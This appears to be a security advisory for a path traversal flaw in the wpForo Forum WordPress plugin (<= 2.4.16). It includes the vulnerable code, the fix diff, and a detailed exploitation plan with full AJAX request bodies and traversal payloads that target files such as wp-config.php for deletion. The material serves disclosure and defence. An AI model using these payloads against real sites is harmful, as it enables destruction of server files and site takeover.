wpForo Forum <= 2.4.16 - Authenticated (Subscriber+) Arbitrary File Deletion via Post Body
Description
The wpForo Forum plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 2.4.16. This is due to a missing file name/path validation against path traversal sequences. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary files on the server by embedding a crafted path traversal string in a forum post body and then deleting the post.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v2.4.17
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-3666**, a critical path traversal vulnerability in the **wpForo Forum** plugin (<= 2.4.16). The vulnerability allows authenticated users (Subscriber level and above) to delete arbitrary files on the server by placing a traversal string in a post body and then de…
Show full research plan
This research plan targets CVE-2026-3666, a critical path traversal vulnerability in the wpForo Forum plugin (<= 2.4.16). The vulnerability allows authenticated users (Subscriber level and above) to delete arbitrary files on the server by placing a traversal string in a post body and then deleting that post.
1. Vulnerability Summary
The vulnerability exists in the post deletion logic of wpForo. When a post is deleted, the plugin attempts to clean up associated files (like attachments or embedded images) by scanning the post's HTML body for file paths. Because the plugin fails to validate these paths against path traversal sequences (../), an attacker can reference sensitive files outside the intended uploads directory. When the post is deleted, the plugin calls unlink() on the manipulated path.
2. Attack Vector Analysis
- Endpoint: Post creation and deletion actions. These are typically handled via
admin-ajax.phpor the frontend action handler?wpforo=action. - Vulnerable Action (Creation):
wpforo_post_save(used for adding/editing posts). - Vulnerable Action (Deletion):
wpforo_post_delete. - Payload Parameter:
post['body'](during creation/edit). - Authentication: Authenticated (Subscriber+). The user must have permission to create and delete their own posts.
- Preconditions: A forum and at least one topic must exist to allow the user to post a reply.
3. Code Flow (Inferred from Patch Description)
- Entry Point: The user sends an AJAX request to delete a post (
action=wpforo_post_delete). - Handler: The request is routed to
wpforo\classes\Posts::delete(). - Body Retrieval: The method fetches the post data from the database, specifically the
bodycolumn. - Path Extraction: The code uses a regex to find strings resembling wpForo upload paths (e.g., matching the
wp-content/uploads/wpforo/directory structure). - Traversal Sink:
- The code identifies a file path like
.../wp-content/uploads/wpforo/default/../../../../wp-config.php. - It resolves this to an absolute path.
- It calls
unlink($resolved_path)without verifying that the file resides within the allowed directory.
- The code identifies a file path like
- File Deletion: The filesystem deletes the target file (e.g.,
wp-config.php).
4. Nonce Acquisition Strategy
wpForo exposes its nonces through the wp_localize_script function, usually under the global JavaScript object wpforo_obj.
- Trigger Script Loading: wpForo scripts load on any page containing the
[wpforo]shortcode. - Create/Identify Page: Use an existing forum page or create a temporary one.
wp post create --post_type=page --post_status=publish --post_content='[wpforo]'
- Extraction:
- Navigate to the page.
- Use
browser_evalto extract the nonce:browser_eval("window.wpforo_obj?.wpforo_ajax_nonce")
- Alternative: The nonce might also be found in the HTML source within a script tag:
var wpforo_obj = { ... "wpforo_ajax_nonce":"[NONCE_VALUE]" ... };.
5. Test Data Setup
- Create Subscriber:
wp user create attacker user@example.com --role=subscriber --user_pass=password123 - Ensure Forum Exists:
wpForo requires a forum and a topic to accept posts.- Identify a
forumidandtopicid(usually1for default installs). - If none exist, use
wp eval "WPF()->forum->add(['title' => 'Test Forum']);"andwp eval "WPF()->topic->add(['forumid' => 1, 'title' => 'Test Topic']);".
- Identify a
- Create Target File:
echo "vulnerable" > /var/www/html/delete-me.txt(This will be the file we target for deletion).
6. Exploitation Strategy
Step 1: Create a Post with the Traversal Payload
Send a POST request to create a reply. The payload must look like a valid wpForo upload path but contain traversal.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpforo_post_save &wpforo_ajax_nonce=[NONCE] &post[topicid]=1 &post[body]=<img src="http://localhost:8080/wp-content/uploads/wpforo/default/../../../../delete-me.txt"> &post[title]=Exploit Post - Response: Expect a JSON response containing the
postidof the newly created post.
Step 2: Delete the Post to Trigger unlink()
Use the postid received in Step 1.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpforo_post_delete &wpforo_ajax_nonce=[NONCE] &postid=[POST_ID] - Response: Expect a success message indicating the post was deleted.
7. Expected Results
- Successful Creation: The post is saved in the database with the malicious
imgtag. - Successful Deletion: The plugin processes the
body, extracts the pathdelete-me.txtvia traversal, and deletes it. - Verification: The file
/var/www/html/delete-me.txtshould no longer exist.
8. Verification Steps
- Check File Persistence:
ls /var/www/html/delete-me.txt(Expected: "No such file or directory"). - Verify Post Deletion:
wp db query "SELECT * FROM wp_wpforo_posts WHERE postid = [POST_ID]"(Expected: Empty result).
9. Alternative Approaches
- Different Payload Syntax: If the
<img>tag is sanitized on input, try embedding the path in a different attribute or as a plain URL if the regex is broad:[wpf-attach src=".../wp-content/uploads/wpforo/../../../../delete-me.txt"]. - Frontend Action Handler: Instead of
admin-ajax.php, use the frontend action trigger:GET /index.php?wpforo=action&wpforo_action=post_delete&postid=[POST_ID]&wpforo_ajax_nonce=[NONCE] - Target
wp-config.php: For a high-impact PoC, targetwp-config.php(but back it up first!). Note that deletingwp-config.phpwill trigger the WordPress installation screen, proving arbitrary file deletion.
Summary
The wpForo Forum plugin is vulnerable to arbitrary file deletion by authenticated users (Subscriber+). This occurs because the post deletion logic scans the post body for attachment paths and calls unlink() on them without validating that the resulting path is contained within the intended directory, allowing for path traversal.
Vulnerable Code
// classes/Posts.php, line ~1371 if( preg_match_all( '|\/wpforo\/default_attachments\/([^\s\"\]]+)|i', (string) $post['body'], $attachments, PREG_SET_ORDER ) ) { foreach( $attachments as $attachment ) { $filename = trim( $attachment[1] ); $file = WPF()->folders['default_attachments']['dir'] . DIRECTORY_SEPARATOR . $filename; if( file_exists( $file ) ) { $posts = WPF()->db->get_var( "SELECT COUNT(*) as posts FROM `" . WPF()->tables->posts . "` WHERE `body` LIKE '%" . esc_sql( $attachment[0] ) . "%'" ); if( is_numeric( $posts ) && $posts == 1 ) { @unlink( $file ); } } } }
Security Fix
@@ -1371,7 +1371,13 @@ if( preg_match_all( '|\/wpforo\/default_attachments\/([^\s\"\]]+)|i', (string) $post['body'], $attachments, PREG_SET_ORDER ) ) { foreach( $attachments as $attachment ) { $filename = trim( $attachment[1] ); + $filename = str_replace( [ '../', './', '\\' ], '', $filename ); $file = WPF()->folders['default_attachments']['dir'] . DIRECTORY_SEPARATOR . $filename; + $real_file = realpath( $file ); + $real_dir = realpath( WPF()->folders['default_attachments']['dir'] ); + if( ! $real_file || ! $real_dir || strpos( $real_file, $real_dir . DIRECTORY_SEPARATOR ) !== 0 ) { + continue; + } if( file_exists( $file ) ) { $posts = WPF()->db->get_var( "SELECT COUNT(*) as posts FROM `" . WPF()->tables->posts . "` WHERE `body` LIKE '%" . esc_sql( $attachment[0] ) . "%'" ); if( is_numeric( $posts ) && $posts == 1 ) {
Exploit Outline
1. Authenticate as a Subscriber or higher level user. 2. Obtain the 'wpforo_ajax_nonce' from the global 'wpforo_obj' JavaScript object on any forum page. 3. Create a new forum post/reply via the 'wpforo_post_save' action. In the 'post[body]' parameter, include a string that matches the regex for wpForo attachments but includes a path traversal sequence targeting a sensitive file (e.g., '<img src="/wpforo/default_attachments/../../../../wp-config.php">'). 4. Extract the 'postid' of the newly created post from the server response. 5. Trigger the 'wpforo_post_delete' action using the extracted 'postid'. 6. The plugin's cleanup logic will identify the string in the body, resolve the path traversal to the target file (e.g., wp-config.php), and call unlink() on it, deleting the file from the server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.